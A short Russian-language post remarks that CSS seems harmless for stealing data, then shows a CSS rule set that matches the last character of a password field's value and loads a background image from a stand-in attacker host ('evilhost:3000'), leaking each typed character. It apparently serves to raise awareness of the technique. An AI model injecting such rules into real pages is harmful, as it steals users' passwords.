Казалось бы что CSS безопасен с точки зрения чего-то спереть...

Ан нет, вот способ читать и отправлять на сервер пароли:

input[type="password"][value$="a"] { background-image: url("http://evilhost:3000/a"); }
input[type="password"][value$="b"] { background-image: url("http://evilhost:3000/b"); }
...